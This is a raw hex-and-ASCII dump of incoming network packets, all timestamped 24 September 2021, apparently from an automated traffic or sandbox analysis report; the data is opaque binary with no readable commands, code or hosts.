2021-09-24 19:53:40 UTC	9	IN	Data Raw: 5c 52 2b e9 0a 15 3c be 88 48 e6 eb f0 48 c7 32 f5 a5 cd 12 ad aa f7 ba 55 9e 92 a2 5f 70 a6 16 89 58 e9 05 09 16 65 bb 1d 2b f5 0c 27 7d 6e 8a 49 e1 d3 50 cf 85 87 71 26 b7 3f a2 f4 3f eb 2c 0d 83 9d 24 14 46 01 8f c3 c9 1f 64 fd 05 09 f7 0d 79 b9 f4 fa d1 f1 73 9b d2 02 ec 39 0b 58 63 f4 2c d8 9d f5 6e 72 45 08 76 8f b2 20 ef 41 29 03 da 37 85 34 46 c2 eb 70 11 e6 58 ae 4c 61 03 20 b5 01 8e 73 d8 04 27 3a 66 7d 5c e6 eb 73 c6 61 bb ae 83 54 e9 1b e4 fe 27 5c fa 35 69 e9 7f aa 2f 59 11 a3 df e9 55 3b 7c 66 7b fe c3 13 95 74 b8 d5 5f 50 b7 c6 13 a5 8e 28 63 43 b9 c1 71 97 80 51 07 bc 94 38 b1 d0 04 80 5c 37 d1 70 0a 7d aa f0 30 f2 44 ef 05 9d b4 71 01 d9 90 b6 5d e9 83 d5 c3 d2 a5 19 c1 95 d1 2f f0 e7 17 3e 2f 87 66 98 b1 00 54 c4 af f1 ee 60 57 cb 24 cb Data Ascii: \R+<HH2U_pXe+'}nIPq&??,$Fdys9Xc,nrEv A)74FpXLa s':f}\saT'\5i/YU;\|f{t_P(cCqQ8\7p}0Dq]/>/fT`W$
2021-09-24 19:53:40 UTC	12	IN	Data Raw: 44 5c 25 14 f1 56 32 73 df 4e 27 58 be fa ad e8 23 54 0d 7d ad d7 a9 b1 67 ce b4 1a 39 93 ef aa 4f 6e 51 b2 15 96 61 5a 3e 6e d6 c8 50 c4 6a f6 26 9f 54 a0 e6 24 a7 e1 ef 17 9f a2 13 0e dc b0 f1 13 0d 38 7c 84 36 10 3e 6a c6 d3 19 aa 31 a3 99 74 a6 de f4 56 1a d7 2f 02 36 b6 cf 33 c7 9c f2 97 54 3c e8 c6 26 3a 16 f7 3b f2 27 8e e8 1d 7a b8 03 7f fc 1e fd 65 8e 7c da 71 2d 5f 1c a4 ff 16 16 ca 13 b8 69 44 23 dc 62 7a d1 1b 84 11 1f 3d 80 15 b8 06 11 9d 56 a8 40 95 ee 44 7f 6d f9 52 fb 21 da 64 8b 56 da eb 81 7f 2f d4 87 72 b4 a0 46 fa ae c0 e7 ac 42 1f dd 0a 23 7e db d9 7e a5 19 08 fb 4a 3b 9d bd e3 1a 31 75 aa 16 06 96 98 b2 d3 5b fd 8e 14 bd 3d 00 1a 17 20 7c c2 28 2d 2c 4d 46 c5 8c 7e 89 3f c4 e6 5d bf b8 0f 22 89 49 e4 3f e7 52 c6 16 81 14 75 c9 0e 8f Data Ascii: D\%V2sN'X#T}g9OnQaZ>nPj&T$8\|6>j1tV/63T<&:;'ze\|q-_iD#bz=V@DmR!dV/rFB#~~J;1u[= \|(-,MF~?]"I?Ru
2021-09-24 19:53:40 UTC	16	IN	Data Raw: 73 ef 6c 76 96 79 31 6d f2 72 a1 08 ff d9 f5 67 1f 0d fc 73 1c e9 2e ca a0 fa 3f c6 9c 7d a7 be b0 ac aa 03 7b cb 9f b0 06 32 a1 70 02 69 3a 5e 6d 6d e0 31 3d ab b8 75 e8 f7 22 5d 06 96 90 ea 5f 66 9d 64 3a 82 d1 a5 9d df 28 64 27 90 1e 81 52 fb 38 ec e4 a8 92 30 9e 23 c4 fc ee 14 df 3a 5e 60 4c 4c d9 c6 1a 9d 2e 92 0c 33 92 9c 2e cd 06 a6 cf 79 15 4a 51 d9 90 36 b2 04 ca 39 75 61 af f6 98 a1 81 f7 a0 a5 72 ef 6d a1 ea 59 5f 7b 93 33 d1 e1 43 96 c1 f6 8b e3 72 86 06 ca af d1 ae b4 c6 f4 37 58 f1 22 d0 35 b9 a6 04 ce 7d fa 27 86 1a 31 ad ca 03 ea c1 f7 ba 55 3b a3 f2 61 58 62 7b c4 5e f8 09 26 97 0a f5 17 03 3b 09 38 49 29 e2 49 e1 d3 f5 f6 89 ad ba 20 d8 65 8a 98 37 ec 02 68 a6 9d 22 71 78 cd 8f c9 c4 48 a0 fd 05 03 85 0b 0d 83 f0 96 f8 5b 22 9b d4 20 0e Data Ascii: slvy1mrgs.?}{2pi:^mm1=u"]_fd:(d'R80#:^`LL.3.yJQ69uarmY_{3Cr7X"5}'1U;aXb{^&;8I)I e7h"qxH["
2021-09-24 19:53:40 UTC	18	IN	Data Raw: 85 32 ee c0 af 49 6e 89 0e a4 64 0c 12 25 a2 2c ac ad e8 0b 1a 3b 00 c0 0b e6 e1 51 ca bd b1 a0 87 7c e3 74 b5 91 5f 56 26 17 6f 83 7d ac 23 af 7f 8b e8 e3 7d 1f 54 48 7f 23 48 19 bd 4c 90 e2 55 8e bd d4 2a a2 a6 10 62 6b b3 1f 0d e9 f7 51 11 37 8d 01 c7 f8 93 80 5e 3d a0 58 48 e6 ac eb 37 9d 96 ef 05 97 9c 55 ac 74 9a cb df e9 83 de a6 f5 a0 19 d2 bc 94 2d e5 e1 3f 78 2f af 29 f7 c9 0a 20 fd 87 ab ed 6a 57 cb 17 cb d9 ff 28 e0 f3 94 5c e4 0f f1 22 9a e8 59 e1 65 77 fa ac d5 c0 e9 71 a2 2e ae 65 6d 01 64 3d 97 10 de 4f fd 7b 8d 14 56 fa ee 7d 43 f6 c8 6a 88 45 07 ca eb 9e 68 12 2a 75 51 64 8d 97 a2 5a fe 68 d5 38 6a 63 2c 8c 94 bb 34 4e 67 4a 16 e0 54 07 4e dc 62 2a 40 a1 bd 5b e8 23 54 87 a8 be d3 a3 88 0f d0 4a 1d 3d bf e6 b3 6d 29 69 b2 13 32 5a 58 3f Data Ascii: 2Ind%,;Q\|t_V&o}#}TH#HLUbkQ7^=XH7Ut-?x/) jW(\"Yewq.emd=O{V}CjEhuQdZh8jc,4NgJTNb*@[#TJ=m)i2ZX?
2021-09-24 19:53:40 UTC	19	IN	Data Raw: 71 af 33 af 90 58 f8 fe c3 18 5b 40 69 4d b0 69 e6 a0 1b a4 5e 71 4b d4 b6 0f 0a 21 88 98 cc 42 e2 6d 69 3a 30 21 66 c1 e1 63 9e 9c 26 ae ff 8b 80 6c c7 3b 81 db 91 bb 0d b1 a9 7c 63 f5 44 24 94 26 3d 45 d5 7c a1 02 d7 ea ff 67 19 11 e5 5b dd f1 2e cc ad eb 24 d5 95 10 b2 b4 a1 bc b9 05 6a 48 fa 79 06 3d ab 67 fc 71 32 31 a5 6d e0 3b 2a cc b0 15 ee 96 eb 5d 06 3b 8d 14 5d 35 8c 62 55 51 d1 a5 96 c8 d6 66 78 1a 22 80 52 f5 46 e2 e4 69 9c 5c b6 ee c6 fc e8 26 15 3a 5f 6a 0c c7 d9 32 10 8c 2b c9 66 31 92 fd 0a 0e 04 a9 c9 63 98 45 51 d9 90 27 f2 15 8a f2 57 a5 ad 51 9f a9 a9 b7 ae a5 74 c9 4a a1 ea 53 fd 6a d3 24 f9 25 41 3a cb e7 82 e3 b6 84 06 18 8b f6 ae a1 cc 56 26 02 e9 0a 15 37 b9 a0 02 12 e7 fa 27 01 32 f5 af 4b 08 c2 e6 f8 ba 5f 99 a8 b2 78 71 a6 79 Data Ascii: q3X[@iMi^qK!Bmi:0!fc&l;\|cD$&=E\|g[.$jHy=gq21m;*];]5bUQfx"RFi\&:_j2+f1cEQ'WQtJSj$%A:V&7'2K_xqy
2021-09-24 19:53:40 UTC	20	IN	Data Raw: d7 58 bc 1a e2 20 b2 83 5d ff 91 5e b0 ac fe c3 f9 75 5d d1 5b 45 ba d5 68 33 b6 b7 69 7d 69 45 cd 0d 66 f8 c6 80 41 f6 ce 9c 87 6d 21 e2 32 96 7c 07 27 2e b7 65 8d 9b 6f 5d 94 61 d2 46 60 4f 7d 99 85 f6 01 55 4f 25 7b 00 53 2f 8b c8 9c 2d 2f bf d2 88 ec 35 a0 ae 03 92 e3 b8 a7 0c 33 4b 1b 13 89 e1 dc 84 00 53 b4 02 33 54 93 38 6e c1 dd 48 b3 b3 f6 0a 96 75 64 ed 0c d0 cb c8 11 3d b7 71 ff d9 b0 e6 97 0e c6 7d ac 2c 08 43 38 d2 d3 1f b4 35 37 9f 70 a6 ce e3 58 f5 c6 15 0c 17 5c b1 2b cd 3e e7 25 5c 33 59 d3 36 33 6c fc 2c 0c 22 00 e3 0a 4b ca a3 6e ea 7a c9 1c 8e 78 ae 7a 22 4d 17 f2 96 16 16 c4 30 dd 71 57 2d 7e 62 6e d5 10 d8 01 23 36 f7 1d b2 2e 11 3f 47 be 32 09 4c 55 65 1c 9b f0 ea 3b 50 00 85 45 d4 e7 96 08 4c df 79 75 8b aa 67 38 d2 d8 e1 bd 40 b5 Data Ascii: X ]^u][Eh3i}iEfAm!2\|'.eo]aF`O}UO%{S/-/53KS3T8nHud=q},C857pX\+>%\3Y63l,"Knzxz"M0qW-~bn#6.?G2LUe;PELyug8@
2021-09-24 19:53:40 UTC	22	IN	Data Raw: 57 96 5c bc f2 c2 dc e8 38 15 3a d3 11 0c c7 d8 cb ca f0 2b ba 66 19 86 9a 06 04 2c a6 c8 63 92 56 df 6e 49 9d e1 10 9c 24 4c a1 c2 f7 9f a9 a3 3a b3 a0 66 c6 62 e0 ea 53 fb 4c d4 52 95 f5 3d 96 c7 e6 aa df b6 84 0c e4 87 f7 ae be a0 0d 0e 89 e9 0a 1e 80 aa a6 14 f7 ed e9 2e 9f 35 de 94 ea 05 c6 e6 f7 c9 5d 98 b2 b8 6b 78 b7 7d ab 59 e8 0f 04 08 1b f2 88 45 d7 08 39 4f 0b d4 41 f0 d1 38 e3 c8 85 7b 08 9a 6f a2 f2 13 fd 0c 2f 53 9d 22 71 1d 29 b7 c9 ce 7a e8 f2 14 04 ea 0c 3c 3c dc c2 d0 9e 2a 45 d2 1c ee 71 23 58 64 f2 04 f6 9d f5 64 64 60 39 7e 51 fc 20 ef 4a 3f 3a ad 62 15 34 4c d1 c4 61 15 98 26 80 4e 6b 16 2e da 26 84 ad ec 25 f4 3c 6f 18 64 8b eb 79 10 b3 cf 84 af 52 e5 5c f5 fe 27 50 0e 18 46 eb 75 c3 23 86 03 81 e5 e0 41 cf 55 5e 87 ff cc 31 93 4e Data Ascii: W\8:+f,cVnI$L:fbSLR=.5]kx}YE9OA8{o/S"q)z<<*Eq#Xddd`9~Q J?:b4La&Nk.&%<odyR\'PFu#AU^1N
2021-09-24 19:53:40 UTC	23	IN	Data Raw: 35 95 42 99 8a 70 a2 d8 c3 50 9a f3 03 0e 3b 23 06 3d f6 b0 de 7f 4b 35 fd ef 23 f6 41 ef 2c 0c 0d bc 8c 39 52 cc 05 67 c9 76 9f 40 8e 78 a0 e7 9a 49 29 80 ab 5d 16 c0 1e 8a 74 8a 14 db 73 7e e6 5f 7a 10 35 28 97 4a 59 2e 15 9d 28 a3 2f 0f ea 6c 9a 00 98 54 d3 6b 78 7b 8f 76 c7 95 98 7b 30 db 51 83 9a ac 49 cc f4 d8 e7 a6 c6 b5 c2 06 34 a7 26 ce 7a ba 72 fe fa 66 34 bc bb 9a 1a 37 69 89 27 10 85 96 a4 f9 f9 e2 98 ea c2 19 0e 64 0e 5e 74 c6 11 54 43 84 46 da 91 13 a5 3f d5 e6 29 88 b9 23 23 5a 2f b2 27 e7 56 ad 7d 9d 07 7b a6 f0 8b 1b 42 5c 5b 28 53 da 56 c2 5d d3 57 3f da 5f d6 47 a7 90 57 fc 80 cb 02 5b 44 07 84 b0 69 ec 98 cb cb 56 7e 4b de bc 3a 28 d0 8a 97 ca 54 ca 59 69 3a 3b 37 98 c0 f7 df 95 e2 2e a0 ff 8f fe 34 cd 3b 85 bb 58 bb 0d a1 b3 a6 0d fd Data Ascii: 5BpP;#=K5#A,9Rgv@xI)]ts~_z5(JY.(/lTkx{v{0QI4&zrf47i'd^tTCF?)##Z/'V}{B\[(SV]W?_GW[DiV~K:(TYi:;7.4;X
2021-09-24 19:53:40 UTC	24	IN	Data Raw: 26 a6 42 03 8f c9 e6 74 36 fd 03 6c f2 04 0d 89 9b f1 d1 9e 2a b3 d6 08 c4 71 66 51 64 e2 0e 99 97 f4 64 6e 60 d1 7f bf e4 3f fd b5 25 1c 57 63 da 36 6c 75 ef 61 15 77 0f b8 b2 6a 4f 27 84 a1 84 ad e8 f3 0a 2a 91 13 54 ca 81 7b 96 c0 b1 a6 ae 3d ed 75 b3 f4 48 51 27 1d 4d c3 6f af 25 81 6c 16 e8 e9 5f 1d 41 4a f5 81 c5 19 bc 23 b4 d4 55 84 37 e7 39 a5 8a f5 bd 6a b9 c1 0d 9f f9 51 15 1b 85 31 b1 d6 2c a4 5e 37 82 f0 40 e6 aa fe 4e fa 44 ef 01 9f 38 0e ac 74 91 cb 4b e8 83 de f0 c6 a0 19 dc 14 d9 2f e5 e3 03 af 0a af 2f 9c 6c ac 21 f7 af f3 57 42 1c e3 6e cd f1 16 39 a2 e7 c0 5c 91 0d f1 2e a4 a1 40 9f 67 5f 9c aa fd 22 c3 0d a4 06 80 4d ad 09 e4 33 bf 39 da 77 93 52 e7 16 54 44 ee 4a 43 f6 c8 9c 62 6f 30 cc fd bc 52 01 2d 57 7f 57 94 e3 74 5a ea 7f fa a0 Data Ascii: &Bt6lqfQddn`?%Wc6luawjO'T{=uHQ'Mo%l_AJ#U79jQ1,^7@ND8tK//l!WBn9\.@g_"M39wRTDJCbo0R-WWtZ
2021-09-24 19:53:40 UTC	25	IN	Data Raw: 31 67 d9 3d ae 2d 61 53 f2 88 6c 8d 35 d7 f3 4d 50 a1 4c 3d 81 51 90 34 f0 4d ef a7 86 07 60 d2 00 a9 e5 49 0e 7d 2a 42 d5 68 f8 72 d3 5d 26 c8 6e 9a 2a b4 90 46 e3 e1 cd fc 5a 6c 62 5c bb 73 30 96 1a bb 51 6c 50 d4 a7 27 1f 30 76 96 e0 48 f3 7c 73 ec 22 2a 79 d3 f2 3a 94 8d 3d bf de 75 81 10 c6 2a 8a c5 9f 6d 1e a0 b6 5e 71 ee 44 35 8f 66 1a bb d4 5e aa 13 dc 96 ed b1 0a 15 fa 75 ce f0 2e dd b7 f4 3d 2b 94 40 b2 a5 aa a8 6f 16 61 dd ea 6a 1d 32 ba 7c e3 56 cc 30 88 62 e6 13 38 56 ba 13 81 b2 e9 5d 00 83 b9 07 46 39 9d 79 4a 57 2f a4 bb dd fe 75 79 a9 22 82 43 f0 57 f2 8b bc 97 5c bc f2 c9 e3 f5 2f 0e 3a 4f 71 13 e0 27 c7 36 86 3a b1 7d e7 81 91 19 26 17 bd c9 72 83 40 74 27 90 09 f9 04 81 3e 59 73 be fd 81 8f ba 28 a2 b4 6f d8 7f 5f eb 7f fa 7b ca 2f e6 Data Ascii: 1g=-aSl5MPL=Q4M`I}Bhr]&nFZlb\s0QlP'0vH\|s"y:=um^qD5f^u.=+@oaj2\|V0b8V]F9yJW/uy"CW\/:Oq'6:}&r@t'>Ys(o_{/
2021-09-24 19:53:40 UTC	27	IN	Data Raw: e1 50 fe 11 8c a4 79 84 24 90 a4 41 fa 91 d3 b4 c1 a0 19 d6 94 d1 2f c5 a7 4c 0c 2d af 2f 98 b1 0a d0 c8 f6 d9 7e 6a 51 e9 d9 dc 0f 78 10 a2 e1 d7 67 ac 1c e3 35 a1 95 35 c2 6f 5f 9c ae d5 c6 e1 4d f9 06 bb 4c ad 09 4c 1b be 39 d4 4b d3 44 e4 16 50 93 df 06 43 fc e2 a6 96 69 21 d9 ed 8c 54 50 2d 5d 6f 77 8a 40 d6 5a ea 7b c3 42 75 70 2a 91 aa d9 1a 55 49 32 13 3d ca 2f 8d de 4a 1b 51 a4 d8 a0 d0 23 5e a5 be 3c d3 a9 a0 6b f2 4e 9b 15 98 d5 c9 64 10 5f dd 0e 35 7c 43 55 70 c6 cc 45 e0 c6 f7 0a 94 4e a8 fe 1b c7 f3 e7 39 6d bd 1e 1b cb a5 e7 7b 36 c6 7d a8 3d 0f 2c c7 93 88 3a ab 3c ba 8a 70 a6 3f cf 11 cc 47 03 0e 35 1a a6 fd 4a b7 f6 35 4a 26 ed d3 33 3a 04 ef 40 2f 26 a2 f2 1a 52 cc 21 3f a1 48 fe 64 8e 72 8c 49 2c 5f 12 9d 87 07 00 c6 01 8f 20 57 27 da Data Ascii: Py$A/L-/~jQxg55o_MLL9KDPCi!TP-]ow@Z{Bup*UI2=/JQ#^<kNd_5\|CUpEN9m{6}=,:<p?G5J5J&3:@/&R!?HdrI,_ W'
2021-09-24 19:53:40 UTC	28	IN	Data Raw: d1 f7 68 01 23 ac e9 4b 73 e8 27 38 1e c5 3a 2a 5f a9 1d ff 90 ff 75 1c 9f 87 12 4a b4 8b 62 55 4a c2 a9 86 c4 c0 77 7d 81 39 80 52 f1 e4 f3 e8 bb 9d 4d bd f5 d2 eb 65 13 15 3a 5f 79 01 d6 d4 d0 0d 10 3a b7 4f 92 92 9a 0c 1f 09 b0 59 4f 93 4e 5a cf 0b 0d e3 15 8a 25 4e a0 d9 e4 9e a9 b2 3e 7c a9 65 cf 66 a6 fb 5b 92 3d d3 24 f3 f9 48 87 c0 cf d7 cb b6 82 0d c5 f4 d5 af b4 c6 45 2f 09 e0 1b 13 58 9b a1 02 ec e7 24 2b 9d 3b d9 a8 db 0c ad b1 f7 ba 55 45 ba 98 78 70 a6 78 d8 58 e9 0d 0e ef 0a a5 23 2a f3 0b 38 4f 01 c7 49 ba d8 5b 80 c8 89 71 20 d8 6f b1 c4 30 ec 6d 40 81 9d 1a 7b 17 10 99 c5 e5 11 36 f5 12 fd fa 29 0f 9b f8 fa d8 84 de 9a fe 18 c7 61 0e 5a eb 55 07 78 2a dd 51 65 76 25 65 ec e6 28 f6 b5 25 26 a7 60 93 33 5a d3 61 d6 3d bc 0f ae 46 71 1c 25 Data Ascii: h#Ks'8:_uJbUJw}9RMe:_y:OYONZ%N>\|ef[=$HE/X$+;UExpxX#8OI[q o0m@{6)aZUx*Qev%e(%&`3Za=Fq%
2021-09-24 19:53:40 UTC	29	IN	Data Raw: 39 9f f7 95 08 56 53 b2 19 e8 7b 43 e4 77 c0 c6 91 dd 93 fd d4 83 78 97 d8 0c d6 e9 fc 38 15 85 1e 1d d2 6e e0 10 3f c0 57 e9 41 0f 2c e5 d3 d3 19 1f 3c ba 8a 51 a6 cf f0 9d e4 d6 03 1f 3f ad b1 2b c7 9c f6 37 4b 35 fb 35 26 2b 12 c9 2c 0c 26 ba f3 1a 52 dd 01 7f fa 60 e1 65 8e 7a a4 69 2d 58 1a 8c 83 e3 16 c0 18 5b 73 57 27 d0 73 7e ce 16 7a 10 33 28 89 0a b2 84 16 9d 56 81 2f 0f ee 9d 76 02 98 5e fb 2b 78 7b 85 45 de eb 90 7b 30 d9 79 73 98 47 4c e4 d0 29 e4 ac 46 b2 c2 06 30 60 db c8 7b a9 3c f3 fa e9 30 94 95 a2 1a 31 6e b7 1a 14 bd 1c b2 c2 5f e2 89 ee a5 ef 0f 48 01 22 75 ee 2a 51 2c 47 4d c0 88 69 8d 2e d1 f5 b8 40 95 20 31 93 55 9a 36 e3 49 3c b5 b1 17 76 de 75 51 ac 5f f4 fe 03 53 de 41 e6 6f c0 53 35 dd 75 a5 c7 ae bc 58 fa f7 a9 0a 4d 2a 6f 65 Data Ascii: 9VS{Cwx8n?WA,<Q?+7K55&+,&R`ezi-X[sW's~z3(V/v^+x{E{0ysGL)F0`{<01n_H"uQ,GMi.@ 1U6I<vuQ_SAoS5uXMoe
2021-09-24 19:53:40 UTC	31	IN	Data Raw: fa dd ef e4 b5 5f 88 bd ad 6f 8e a7 55 cb 49 e3 17 94 29 1b f5 1d 21 ec 0f 27 57 12 ca 49 f0 d6 48 ea 37 84 5d 2d c9 63 b4 64 0c f4 fa bf 7e 82 2c 68 18 01 9e c6 d1 6a c8 fc 29 15 d3 16 0c 83 fe eb d4 ea 32 9b d2 13 ab 61 08 58 6f ef 1b ed 8e fa 64 75 79 30 67 1e e7 0c c3 5a 29 1e 81 e3 87 34 4a c6 62 66 15 89 0f bd 42 7a 1e 33 b5 0e 9e 37 c0 1c 0b 3c 65 b0 1a e8 ff 6d 0d a9 99 0e af 52 eb 6b a9 ed 28 56 37 12 51 15 7e 80 26 90 10 84 e8 f8 5a 2e 48 b6 78 d2 c7 32 b8 74 23 2e aa 71 b1 b4 1c a5 8e 2a 48 70 89 c9 73 c7 f9 51 11 0f 94 32 a0 f8 19 83 5e 31 a0 b8 48 e6 a0 d2 2e f1 44 e9 2d b9 b4 71 a6 79 82 a7 53 fa 87 c6 dc f4 b2 18 c0 87 d4 3d e0 f1 04 29 3f a9 3b 8b b6 18 27 e1 87 ab ef 6a 57 c5 69 e3 98 f4 3b a8 eb 08 64 9a 25 c6 24 b2 98 55 f5 65 77 a4 ae Data Ascii: _oUI)!'WIH7]-cd~,hj)2aXoduy0gZ)4JbfBz37<emRk(V7Q~&Z.Hx2t#.q*HpsQ2^1H.D-qyS=)?;'jWi;d%$Uew
2021-09-24 19:53:40 UTC	32	IN	Data Raw: e0 6e 59 83 a0 4f ec c7 26 e6 80 44 a5 ce 06 38 62 25 c9 56 b6 0e e4 fb 4e 7e 95 95 92 37 e8 66 ad 09 18 9c 62 b3 ee 5b fb b2 f0 b0 11 06 72 f4 21 50 c4 06 5c 2c 45 5d 24 9a 41 8f 14 d7 c9 f7 5b 93 23 29 80 4a aa 25 e7 64 c2 b4 9d 07 71 c9 1f 89 36 49 08 71 47 aa de 40 e0 5f c6 55 22 a3 8b b9 39 a5 4e 5b d0 c9 c3 02 51 68 50 4d b0 63 38 85 13 cb a5 7f 4b de 68 30 28 16 88 97 c6 6a da 77 69 30 ef 21 4c c1 e1 20 88 9c 26 a0 ff 87 80 35 d8 3b 8d ce 91 bb 0c ab a9 5d 62 fd 6d 24 98 63 37 45 d4 69 91 00 d7 a0 f5 67 19 1e e5 5b dd e9 03 cd 86 e9 30 ba da 6d b8 be a3 a6 d6 55 6b c2 fa 7b 69 63 aa 67 f6 b5 3e 19 93 6d e0 31 02 6d ba 15 e4 46 eb 77 06 9d 97 14 5d 39 8c 66 55 5d cb a5 9b d2 d6 66 79 b2 18 85 52 2a 47 e2 e4 ed 96 5c a7 e3 c3 87 09 3c 15 3e 76 1c 0c Data Ascii: nYO&D8b%VN~7fb[r!P\,E]$A[#)J%dq6IqG@_U"9N[QhPMc8Kh0(jwi0!L &5;]bm$c7Eig[0mUk{icg>m1mFw]9fU]fyR*G\<>v
2021-09-24 19:53:40 UTC	33	IN	Data Raw: 06 c3 e9 55 30 5e 4e 6f e9 59 1f aa 45 36 62 e1 12 be d6 3f bd 87 a6 d5 43 ae c0 73 9d ff 49 18 bd 23 e4 b9 5e b3 34 c2 3f 9e 76 51 ef 24 4d e6 fa ca 58 2d 8a b5 71 a6 72 ba ba 45 c1 90 e4 d1 e2 93 18 d6 94 98 2f e5 f6 01 3c 29 97 0a 99 b1 0a 20 e6 ab e8 11 6b 7d e7 44 d1 ca f1 3b b3 e5 c8 8a be 21 d5 2c a5 08 71 f0 6f 5f 96 7e c0 c6 c1 0c 8a 3a a4 4d a7 2b 50 3a bf 33 aa 5a fb 53 e6 e8 5d fe c6 18 4a e5 ca b4 96 69 2b 34 ea b8 50 07 39 75 4f 67 8d 9b 64 d7 ed 7b d2 47 6f 64 3a a0 a5 8b 1a 53 ed 26 03 c8 7c 2d 8d d8 c0 2b 45 b0 c6 9f c0 84 5e af 69 98 cf ba a4 63 c3 4e 0c eb 99 ca b0 7f 12 57 b2 02 30 61 b7 3b 42 cf c5 58 58 b8 d9 14 81 59 bf fe 08 ce 1d ee 3d 34 bf 90 aa ce 80 eb 0e 06 c2 7d b9 39 15 d2 e6 ff da 6a f3 3d ba 80 7a bd dc f4 48 f5 d2 1c 07 Data Ascii: U0^NoYE6b?CsI#^4?vQ$MX-qrE/<) k}D;!,qo_~:M+P:3ZS]Ji+4P9uOgd{God:S&\|-+E^icNW0a;BXXY=4}9j=zH
2021-09-24 19:53:40 UTC	34	IN	Data Raw: f8 05 0b 85 dc c8 d3 9e 26 b3 f5 08 c4 7d 66 c0 65 e2 0e e5 9a e4 62 75 71 39 6f e7 68 97 80 e2 24 0a a3 73 83 5b 31 d1 ef 6b 01 9a 07 bf 44 04 42 25 a4 0e 97 a4 f9 04 64 68 6f 12 01 f5 e4 68 15 cc e4 a6 af 58 f2 79 a2 f3 48 00 26 1d 4d f8 71 72 17 a2 2b bc e8 e9 5f 22 44 59 70 d2 cf 08 b4 23 40 d5 55 84 a3 d3 30 8d b6 28 62 61 67 d4 67 84 f1 8d cf 3c b1 1a 86 d0 04 8a 4d 26 a0 48 48 e6 a0 24 30 d8 44 ef 05 dc d0 71 ac 76 90 a4 47 79 83 d4 d8 86 a0 19 d6 60 d1 2f e5 f1 17 2f 2d af 2f 98 b1 0a 20 f7 af 75 ee 6a 51 c5 6e cb d9 5f 3a a2 e1 cb 74 bf 0d eb 24 b2 93 5b e1 6f 5f 18 af d5 c6 82 0d a2 2e 63 4c ad 03 60 3b bf 39 de 4f fb 53 e7 16 56 fc c6 07 43 f6 03 b5 87 6d fd cb eb 94 73 01 2d 5d 73 64 8d 9c 46 58 c2 6c d2 46 6e 61 2f e7 fd 88 1a 53 65 21 07 d0 Data Ascii: &}febuq9oh$s[1kDB%dhohXyH&Mqr+_"DYp#@U0(bagg<M&HH$0DqvGy`//-/ ujQn_:t$[o_.cL`;9OSVCms-]sdFXlFna/Se!
2021-09-24 19:53:40 UTC	35	IN	Data Raw: e1 cf f3 43 2e dd 22 29 8a 58 f5 42 e6 52 c8 68 43 0d 78 e5 19 82 74 1f 22 73 22 8f d6 47 85 65 d2 57 3f e6 71 b8 25 af 90 55 f8 b5 c3 18 3e 40 66 4d b0 69 e6 87 11 aa 5e 18 3e d4 bc 3c 00 21 88 8c fc 46 e2 f6 69 3a 31 6c 66 c1 f0 35 9f ef 47 a1 ff 81 8c 4f af 3a 81 de 9c b2 05 af c6 e4 62 f5 4e 4b b6 78 37 4f c6 74 d2 24 d6 87 ff 74 1c 0f e0 4a db 84 09 cd ac e1 35 d0 8d 03 91 b5 a1 b8 a8 00 72 ad da 78 06 38 a8 4f 9a 6a 32 3b b7 69 f1 3e 45 7e bb 15 e4 8b ec 4c 01 8d 83 02 4c 3d 02 d5 3a 67 d0 a5 9d c3 08 7c 69 ac 47 e4 53 fb 4c eb 8b cd 97 5c bc 3d 18 f6 e1 10 13 33 31 3d 0c c7 d3 1a 12 8b 44 ac 66 31 98 b0 06 0e 04 a7 d5 63 98 5d 51 9c 91 3f ad 15 84 2f 5d a5 ad f4 9e a7 a9 52 cd a5 7e c7 4a a1 ea 31 ff 68 a8 6e f9 25 45 95 ef 80 83 cb bc f0 08 cc 87 Data Ascii: C.")XBRhCxt"s"GeW?q%U>@fMi^><!Fi:1lf5GO:bNKx7Ot$tJ5rx8Oj2;i>E~LL=:g\|iGSL\=31=Df1c]Q?/]R~J1hn%E
2021-09-24 19:53:40 UTC	36	IN	Data Raw: e9 89 c2 42 ca d7 18 d6 9e dd 3d e7 cf 6f 2e 2d a5 07 88 b0 0a 2a e1 87 64 ef 6a 57 cb 7e ca d9 ff 46 f7 e1 d6 70 bd 76 a4 24 b2 96 27 93 6e 5f 96 86 ac c7 c1 07 8e 2c 7a 54 ab 14 b2 31 b9 26 d4 7e 57 8d e9 33 7e cb c6 07 49 fd e6 8c 87 6d 3a 14 eb be 7c 00 3d 5d 69 64 8d 9d 7c 02 b2 7b dc 5c 64 63 2d 22 80 f3 4f 55 4f 25 6a 92 53 2f 87 f6 0c 2d 51 ae ff 99 ea 58 0b af 63 ba fb dc a1 63 d8 62 8c 15 98 e0 95 65 29 29 b3 13 3e 56 2f 25 72 ef 77 4f c8 9e 77 6a 92 5d bb f0 16 fe 58 ef 11 37 3d 7f 1d d8 b4 ca 09 17 ee 6e 98 3e 0f 98 e7 d3 d3 48 ab 3c ab 9c 7c 9e 69 f0 48 e4 d6 0b 17 c1 ac 9d 30 b9 fd f6 35 4f 1d e5 c1 26 2d 6c 8a 2c 0c 22 8a d5 1a 52 c6 81 1c fa 60 e5 7f 82 78 ac 71 d3 5e 34 80 ab 6a 17 c0 12 27 13 57 27 d8 6a 72 ce 1e 64 ee 32 06 87 74 d1 2e Data Ascii: B=o.-*djW~Fpv$'n_,zT1&~W3~Im:\|=]id\|{\dc-"OUO%jS/-QXccbe))>V/%rwOwj]X7=n>H<\|iH05O&-l,"R`xq^4j'W'jrd2t.
2021-09-24 19:53:40 UTC	38	IN	Data Raw: 6d d6 3b 2a 55 e9 15 ee 89 c3 e2 07 9c 81 1f 5a 27 f2 01 55 4b d5 8d b9 ca d6 60 50 87 2a 80 54 94 81 e3 e4 ae 91 27 b8 e0 c6 f8 9c 71 15 3a 5f 60 d2 cd de ea 1c 8b 44 ed 67 31 98 46 00 24 04 a6 c8 73 98 5f 53 d9 97 25 d6 3f 8a 25 5d a5 ad f6 85 99 ad 33 ae a7 74 c7 1e a1 ea 42 d5 2e d0 24 ff 2f 32 a0 c6 e7 88 c0 b1 ac 43 cf 87 f0 86 0d ce 56 20 30 ca 0a 14 3d 91 e6 01 e6 ed d2 03 8c 32 ff c0 f0 04 c2 ec f0 92 18 9a b2 b4 50 c9 a4 79 c2 70 ca 0f 0e 0b 22 bd 1e 2b f9 23 1c 4f 01 cf 26 db d8 57 ed ce ad 38 23 d8 69 8a 4d 37 ec 02 68 a2 9d 22 71 3f 4b 8c c9 c8 58 12 fd 05 09 94 3f 0c 83 fe fd f8 d5 23 9b d4 20 7d 75 09 5e 4d c1 04 f6 97 dd 28 67 76 29 56 c4 e6 20 e5 24 1e 0b a9 68 82 1c 01 d2 ef 67 3d 30 0c 